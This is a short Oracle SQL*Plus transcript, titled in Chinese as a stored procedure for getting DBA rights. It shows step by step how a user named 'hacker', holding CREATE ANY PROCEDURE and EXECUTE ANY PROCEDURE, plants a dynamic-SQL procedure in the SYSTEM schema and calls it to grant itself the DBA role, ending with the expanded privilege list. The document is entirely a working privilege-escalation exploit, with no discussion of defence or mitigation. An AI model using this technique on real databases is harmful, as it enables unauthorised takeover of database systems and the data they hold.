获取dba权限的存储过程

SQL> conn / as sysdba
Connected.
SQL> create user hacker identified by bbk_12345;

User created.

SQL> grant create session to hacker;

Grant succeeded.

SQL> grant create any procedure, execute any procedure to hacker;

Grant succeeded.

SQL> conn hacker/bbk_12345
Connected.
SQL> create procedure system.h1(h1_str in varchar2) as
2begin
3execute immediate h1_str;
4end;
5/

Procedure created.

SQL> execute system.h1('grant dba to hacker');

PL/SQL procedure successfully completed.

SQL> conn hacker/bbk_12345
Connected.
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER
......

161 rows selected.
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